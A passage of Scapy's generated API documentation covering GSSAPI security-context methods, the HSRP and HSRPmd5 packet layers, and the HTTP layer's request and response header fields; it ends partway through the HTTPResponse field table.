abstract GSS_Accept_sec_context(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L322-L327]

	GSS_Accept_sec_context: server-side call for the SSP






	
GSS_GetMIC(Context: CONTEXT, message: bytes, qop_req: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L426-L436]

	




	
abstract GSS_GetMICEx(Context: CONTEXT, msgs: List[MIC_MSG], qop_req: int = 0) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L386-L399]

	
	Parameters:

	
	Context – the SSP context


	qop_req – int (0 specifies default QOP)


	msgs – list of VERIF_MSG






	Returns:

	signature










	
abstract GSS_Init_sec_context(Context: CONTEXT, val=None, req_flags: GSS_C_FLAGS | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L314-L320]

	GSS_Init_sec_context: client-side call for the SSP






	
abstract GSS_Passive(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L331-L336]

	GSS_Passive: client/server call for the SSP in passive mode






	
GSS_Passive_set_Direction(Context: CONTEXT, IsAcceptor=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L338-L342]

	GSS_Passive_set_Direction: used to swap the direction in passive mode






	
GSS_Unwrap(Context: CONTEXT, input_message: bytes, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L476-L487]

	




	
abstract GSS_UnwrapEx(Context: CONTEXT, msgs: List[WRAP_MSG], signature) → List[WRAP_MSG][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L367-L379]

	
	Parameters:

	
	Context – the SSP context


	msgs – list of WRAP_MSG


	signature – the signature






	Raises:

	ValueError – if MIC failure.



	Returns:

	data










	
GSS_VerifyMIC(Context: CONTEXT, message: bytes, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L440-L450]

	




	
abstract GSS_VerifyMICEx(Context: CONTEXT, msgs: List[MIC_MSG], signature) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L401-L410]

	
	Parameters:

	
	Context – the SSP context


	msgs – list of VERIF_MSG


	signature – the signature






	Raises:

	ValueError – if MIC failure.










	
GSS_Wrap(Context: CONTEXT, input_message: bytes, conf_req_flag: bool, qop_req: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L454-L472]

	




	
abstract GSS_WrapEx(Context: CONTEXT, msgs: List[WRAP_MSG], qop_req: int = 0) → Tuple[List[WRAP_MSG], Any][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L352-L365]

	
	Parameters:

	
	Context – the SSP context


	qop_req – int (0 specifies default QOP)


	msgs – list of WRAP_MSG






	Returns:

	(data, signature)










	
LegsAmount(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L516-L522]

	Returns the amount of ‘legs’ (how MS calls it) of the SSP.

i.e. 2 for Kerberos, 3 for NTLM and Netlogon






	
class MIC_MSG(sign: bool, data: bytes)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L381-L384]

	Bases: object


	
data: bytes

	




	
sign: bool

	








	
abstract MaximumSignatureLength(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L412-L420]

	Returns the Maximum Signature length.

This will be used in auth_len in DceRpc5, and is necessary for
PFC_SUPPORT_HEADER_SIGN to work properly.






	
NegTokenInit2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L491-L496]

	Server-Initiation
See [MS-SPNG] sect 3.2.5.2






	
class STATE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L309-L312]

	Bases: IntEnum

An Enum that contains the states of an SSP






	
class WRAP_MSG(conf_req_flag: bool, sign: bool, data: bytes)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L346-L350]

	Bases: object


	
conf_req_flag: bool

	




	
data: bytes

	




	
sign: bool

	








	
auth_type = 0

	




	
canMechListMIC(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L498-L502]

	Returns whether or not mechListMIC can be computed






	
getMechListMIC(Context, input)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L504-L508]

	Compute mechListMIC






	
verifyMechListMIC(Context, otherMIC, input)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L510-L514]

	Verify mechListMIC












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.hsrp

HSRP (Hot Standby Router Protocol)
A proprietary redundancy protocol for Cisco routers.


	HSRP Version 1: RFC 2281


	
	HSRP Version 2:
	http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html










	
class scapy.layers.hsrp.HSRP(_pkt, /, *, version=0, opcode=0, state=16, hellotime=3, holdtime=10, priority=120, group=1, reserved=0, auth=b'cisco\x00\x00\x00', virtualIP='192.168.1.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/hsrp.py#L22-L40]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |     OPCODE    |     STATE     |   HELLOTIME   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    HOLDTIME   |    PRIORITY   |     GROUP     |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              AUTH                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           VIRTUALIP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. HSRP                             


HSRP fields






	version

	ByteField

	0



	opcode

	ByteEnumField

	0



	state

	ByteEnumField

	16



	hellotime

	ByteField

	3



	holdtime

	ByteField

	10



	priority

	ByteField

	120



	group

	ByteField

	1



	reserved

	ByteField

	0



	auth

	StrFixedLenField

	b'cisco\x00\x00\x00'



	virtualIP

	IPField

	'192.168.1.1'











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/hsrp.py#L36-L40]

	








	
class scapy.layers.hsrp.HSRPmd5(_pkt, /, *, type=4, len=None, algo=0, padding=0, flags=0, sourceip=None, keyid=0, authdigest=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/hsrp.py#L43-L59]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |      ALGO     |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |            SOURCEIP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             KEYID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           AUTHDIGEST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. HSRPmd5                           


HSRPmd5 fields






	type

	ByteEnumField

	4



	len

	ByteField

	None



	algo

	ByteEnumField

	0



	padding

	ByteField

	0



	flags

	XShortField

	0



	sourceip

	SourceIPField

	None



	keyid

	XIntField

	0



	authdigest

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/hsrp.py#L55-L59]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.http

HTTP 1.0 layer.

Load using:

from scapy.layers.http import *





Or (console only):

>>> load_layer("http")





Note that this layer ISN’T loaded by default, as quite experimental for now.

To follow HTTP packets streams = group packets together to get the
whole request/answer, use TCPSession as:

>>> sniff(session=TCPSession)  # Live on-the-flow session
>>> sniff(offline="./http_chunk.pcap", session=TCPSession)  # pcap





This will decode HTTP packets using Content_Length or chunks,
and will also decompress the packets when needed.
Note: on failure, decompression will be ignored.

You can turn auto-decompression/auto-compression off with:

>>> conf.contribs["http"]["auto_compression"] = False





(Defaults to True)


	
class scapy.layers.http.HTTP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L559-L691]

	Bases: Packet


	
aliastypes

	




	
clsreq[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L470-L509]

	alias of HTTPRequest






	
clsresp[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L512-L554]

	alias of HTTPResponse






	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L577-L600]

	




	
fields_desc

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L668-L691]

	Decides if the payload is an HTTP Request or Response, or
something else.






	
hdr = b'HTTP'

	




	
reqmethods = b'OPTIONS|GET|HEAD|POST|PUT|DELETE|TRACE|CONNECT'

	




	
show_indent = 0

	




	
classmethod tcp_reassemble(data, metadata, _)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L603-L666]

	








	
class scapy.layers.http.HTTPRequest(_pkt, /, *, Method=b'GET', Path=b'/', Http_Version=b'HTTP/1.1', A_IM=None, Accept=None, Accept_Charset=None, Accept_Datetime=None, Accept_Encoding=None, Accept_Language=None, Access_Control_Request_Headers=None, Access_Control_Request_Method=None, Authorization=None, Cache_Control=None, Connection=None, Content_Length=None, Content_MD5=None, Content_Type=None, Cookie=None, DNT=None, Date=None, Expect=None, Forwarded=None, From=None, Front_End_Https=None, HTTP2_Settings=None, Host=None, If_Match=None, If_Modified_Since=None, If_None_Match=None, If_Range=None, If_Unmodified_Since=None, Keep_Alive=None, Max_Forwards=None, Origin=None, Permanent=None, Pragma=None, Proxy_Authorization=None, Proxy_Connection=None, Range=None, Referer=None, Save_Data=None, TE=None, Upgrade=None, Upgrade_Insecure_Requests=None, User_Agent=None, Via=None, Warning=None, X_ATT_DeviceId=None, X_Correlation_ID=None, X_Csrf_Token=None, X_Forwarded_For=None, X_Forwarded_Host=None, X_Forwarded_Proto=None, X_Http_Method_Override=None, X_Request_ID=None, X_Requested_With=None, X_UIDH=None, X_Wap_Profile=None, Unknown_Headers=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L470-L509]

	Bases: _HTTPContent


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L489-L503]

	From the HTTP packet string, populate the scapy object






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             METHOD            |              PATH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          HTTP VERSION         |              A IM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ACCEPT            |         ACCEPT CHARSET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ACCEPT DATETIME        |        ACCEPT ENCODING        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ACCEPT LANGUAGE        | ACCESS CONTROL REQUEST HEADERS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ACCESS CONTROL REQUEST METHOD |         AUTHORIZATION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CACHE CONTROL         |           CONNECTION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CONTENT LENGTH        |          CONTENT MD5          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CONTENT TYPE         |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DNT              |              DATE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             EXPECT            |           FORWARDED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FROM             |        FRONT END HTTPS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         HTTP2 SETTINGS        |              HOST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IF MATCH           |       IF MODIFIED SINCE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         IF NONE MATCH         |            IF RANGE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      IF UNMODIFIED SINCE      |           KEEP ALIVE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAX FORWARDS         |             ORIGIN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PERMANENT           |             PRAGMA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PROXY AUTHORIZATION      |        PROXY CONNECTION       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RANGE             |            REFERER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SAVE DATA           |               TE              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            UPGRADE            |   UPGRADE INSECURE REQUESTS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           USER AGENT          |              VIA              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WARNING            |         X ATT DEVICEID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        X CORRELATION ID       |          X CSRF TOKEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        X FORWARDED FOR        |        X FORWARDED HOST       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       X FORWARDED PROTO       |     X HTTP METHOD OVERRIDE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          X REQUEST ID         |        X REQUESTED WITH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             X UIDH            |         X WAP PROFILE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        UNKNOWN HEADERS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. HTTPRequest                         


HTTPRequest fields






	Method

	_HTTPHeaderField

	b'GET'



	Path

	_HTTPHeaderField

	b'/'



	Http_Version

	_HTTPHeaderField

	b'HTTP/1.1'



	A_IM

	_HTTPHeaderField

	None



	Accept

	_HTTPHeaderField

	None



	Accept_Charset

	_HTTPHeaderField

	None



	Accept_Datetime

	_HTTPHeaderField

	None



	Accept_Encoding

	_HTTPHeaderField

	None



	Accept_Language

	_HTTPHeaderField

	None



	Access_Control_Request_Headers

	_HTTPHeaderField

	None



	Access_Control_Request_Method

	_HTTPHeaderField

	None



	Authorization

	_HTTPHeaderField

	None



	Cache_Control

	_HTTPHeaderField

	None



	Connection

	_HTTPHeaderField

	None



	Content_Length

	_HTTPHeaderField

	None



	Content_MD5

	_HTTPHeaderField

	None



	Content_Type

	_HTTPHeaderField

	None



	Cookie

	_HTTPHeaderField

	None



	DNT

	_HTTPHeaderField

	None



	Date

	_HTTPHeaderField

	None



	Expect

	_HTTPHeaderField

	None



	Forwarded

	_HTTPHeaderField

	None



	From

	_HTTPHeaderField

	None



	Front_End_Https

	_HTTPHeaderField

	None



	HTTP2_Settings

	_HTTPHeaderField

	None



	Host

	_HTTPHeaderField

	None



	If_Match

	_HTTPHeaderField

	None



	If_Modified_Since

	_HTTPHeaderField

	None



	If_None_Match

	_HTTPHeaderField

	None



	If_Range

	_HTTPHeaderField

	None



	If_Unmodified_Since

	_HTTPHeaderField

	None



	Keep_Alive

	_HTTPHeaderField

	None



	Max_Forwards

	_HTTPHeaderField

	None



	Origin

	_HTTPHeaderField

	None



	Permanent

	_HTTPHeaderField

	None



	Pragma

	_HTTPHeaderField

	None



	Proxy_Authorization

	_HTTPHeaderField

	None



	Proxy_Connection

	_HTTPHeaderField

	None



	Range

	_HTTPHeaderField

	None



	Referer

	_HTTPHeaderField

	None



	Save_Data

	_HTTPHeaderField

	None



	TE

	_HTTPHeaderField

	None



	Upgrade

	_HTTPHeaderField

	None



	Upgrade_Insecure_Requests

	_HTTPHeaderField

	None



	User_Agent

	_HTTPHeaderField

	None



	Via

	_HTTPHeaderField

	None



	Warning

	_HTTPHeaderField

	None



	X_ATT_DeviceId

	_HTTPHeaderField

	None



	X_Correlation_ID

	_HTTPHeaderField

	None



	X_Csrf_Token

	_HTTPHeaderField

	None



	X_Forwarded_For

	_HTTPHeaderField

	None



	X_Forwarded_Host

	_HTTPHeaderField

	None



	X_Forwarded_Proto

	_HTTPHeaderField

	None



	X_Http_Method_Override

	_HTTPHeaderField

	None



	X_Request_ID

	_HTTPHeaderField

	None



	X_Requested_With

	_HTTPHeaderField

	None



	X_UIDH

	_HTTPHeaderField

	None



	X_Wap_Profile

	_HTTPHeaderField

	None



	Unknown_Headers

	_HTTPHeaderField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L505-L509]

	








	
class scapy.layers.http.HTTPResponse(_pkt, /, *, Http_Version=b'HTTP/1.1', Status_Code=b'200', Reason_Phrase=b'OK', Accept_Patch=None, Accept_Ranges=None, Access_Control_Allow_Credentials=None, Access_Control_Allow_Headers=None, Access_Control_Allow_Methods=None, Access_Control_Allow_Origin=None, Access_Control_Expose_Headers=None, Access_Control_Max_Age=None, Age=None, Allow=None, Alt_Svc=None, Cache_Control=None, Connection=None, Content_Disposition=None, Content_Encoding=None, Content_Language=None, Content_Length=None, Content_Location=None, Content_MD5=None, Content_Range=None, Content_Security_Policy=None, Content_Type=None, Date=None, Delta_Base=None, ETag=None, Expires=None, IM=None, Keep_Alive=None, Last_Modified=None, Link=None, Location=None, P3P=None, Permanent=None, Pragma=None, Proxy_Authenticate=None, Public_Key_Pins=None, Refresh=None, Retry_After=None, Server=None, Set_Cookie=None, Status=None, Strict_Transport_Security=None, Timing_Allow_Origin=None, Tk=None, Trailer=None, Transfer_Encoding=None, Upgrade=None, Vary=None, Via=None, WWW_Authenticate=None, Warning=None, X_Content_Duration=None, X_Content_Security_Policy=None, X_Content_Type_Options=None, X_Correlation_ID=None, X_Frame_Options=None, X_Powered_By=None, X_Request_ID=None, X_UA_Compatible=None, X_WebKit_CSP=None, X_XSS_Protection=None, Unknown_Headers=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L512-L554]

	Bases: _HTTPContent


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L531-L532]

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L534-L548]

	From the HTTP packet string, populate the scapy object






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          HTTP VERSION         |          STATUS CODE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         REASON PHRASE         |          ACCEPT PATCH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ACCEPT RANGES         |ACCESS CONTROL ALLOW CREDENTIAL|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ACCESS CONTROL ALLOW HEADERS |  ACCESS CONTROL ALLOW METHODS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ACCESS CONTROL ALLOW ORIGIN  | ACCESS CONTROL EXPOSE HEADERS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ACCESS CONTROL MAX AGE    |              AGE              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ALLOW             |            ALT SVC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CACHE CONTROL         |           CONNECTION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CONTENT DISPOSITION      |        CONTENT ENCODING       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONTENT LANGUAGE       |         CONTENT LENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONTENT LOCATION       |          CONTENT MD5          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CONTENT RANGE         |    CONTENT SECURITY POLICY    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CONTENT TYPE         |              DATE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DELTA BASE          |              ETAG             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            EXPIRES            |               IM              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           KEEP ALIVE          |         LAST MODIFIED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LINK             |            LOCATION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              P3P              |           PERMANENT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PRAGMA            |       PROXY AUTHENTICATE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PUBLIC KEY PINS        |            REFRESH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RETRY AFTER          |             SERVER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SET COOKIE          |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   STRICT TRANSPORT SECURITY   |      TIMING ALLOW ORIGIN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               TK              |            TRAILER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       TRANSFER ENCODING       |            UPGRADE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VARY             |              VIA              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        WWW AUTHENTICATE       |            WARNING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       X CONTENT DURATION      |   X CONTENT SECURITY POLICY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     X CONTENT TYPE OPTIONS    |        X CORRELATION ID       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        X FRAME OPTIONS        |          X POWERED BY         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          X REQUEST ID         |        X UA COMPATIBLE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          X WEBKIT CSP         |        X XSS PROTECTION       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        UNKNOWN HEADERS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. HTTPResponse                         


HTTPResponse fields






	Http_Version

	_HTTPHeaderField

	b'HTTP/1.1'



	Status_Code

	_HTTPHeaderField

	b'200'



	Reason_Phrase

	_HTTPHeaderField

	b'OK'



	Accept_Patch

	_HTTPHeaderField

	None



	Accept_Ranges

	_HTTPHeaderField

	None



	Access_Control_Allow_Credentials

	_HTTPHeaderField

	None



	Access_Control_Allow_Headers

	_HTTPHeaderField

	None



	Access_Control_Allow_Methods

	_HTTPHeaderField

	None



	Access_Control_Allow_Origin

	_HTTPHeaderField

	None



	Access_Control_Expose_Headers

	_HTTPHeaderField

	None



	Access_Control_Max_Age

	_HTTPHeaderField

	None



	Age

	_HTTPHeaderField

	None



	Allow

	_HTTPHeaderField

	None



	Alt_Svc

	_HTTPHeaderField

	None



	Cache_Control

	_HTTPHeaderField

	None



	Connection

	_HTTPHeaderField

	None



	Content_Disposition

	_HTTPHeaderField

	None



	Content_Encoding

	_HTTPHeaderField

	None



	Content_Language

	_HTTPHeaderField

	None



	Content_Length

	_HTTPHeaderField

	None



	Content_Location

	_HTTPHeaderField

	None



	Content_MD5

	_HTTPHeaderField

	None



	Content_Range

	_HTTPHeaderField

	None



	Content_Security_Policy

	_HTTPHeaderField

	None



	Content_Type

	_HTTPHeaderField

	None



	Date

	_HTTPHeaderField

	None



	Delta_Base

	_HTTPHeaderField

	None



	ETag

	_HTTPHeaderField

	None



	Expires

